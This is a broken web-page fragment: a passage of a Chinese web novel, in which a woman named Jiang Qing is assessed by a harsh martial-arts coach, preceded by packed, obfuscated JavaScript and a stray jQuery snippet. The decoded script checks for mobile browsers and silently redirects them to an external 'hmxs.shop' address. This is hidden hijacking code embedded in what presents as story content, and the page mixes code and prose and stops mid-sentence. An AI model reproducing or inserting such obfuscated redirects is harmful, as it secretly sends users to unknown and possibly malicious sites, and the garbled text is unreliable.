/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680719|188745||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刚来时，也跟你一样，以为自己能一步登天。现在，勉强能看。”
话虽如此，他似乎还是给了佐藤老板面子。“算了，既然是那老家伙开口……费用减半。但我先把话说在前头，吃不了苦，随时可以滚蛋，钱不退。”他语气强硬，没有任何商量的余地。
接着，他让江晴做了几个简单的测试：原地高抬腿三十秒，俯卧撑（江晴一个标准都做不起来），以及测量了一下她的握力和反应速度。结果毫无悬念。
“看到了吗？”石黑教练面无表情地宣布，“心肺功能差，核心力量几乎没有，手臂软得像面条。你这身体素质，太差了！想学招式？没基础都是花架子！必须先练基础，跑步，跳绳，核心力量，一样不能少！而且，”他顿了顿，毫不留情地补充，“以你的年纪和底子，训练效果也不会特别好，别抱太大期望。”
江晴心里有些失落，但教练的话虽然难听，却也是事实。她深吸一口气，抬起头，眼神坚定：“教练，我明白。我没指望成为高手，我只希望下次遇到同样的事情，我不只能傻站着发抖，至少……我知道该怎么跑，或者怎么用力挣脱，哪怕只能争取到几秒钟的时间。”
石黑教练盯着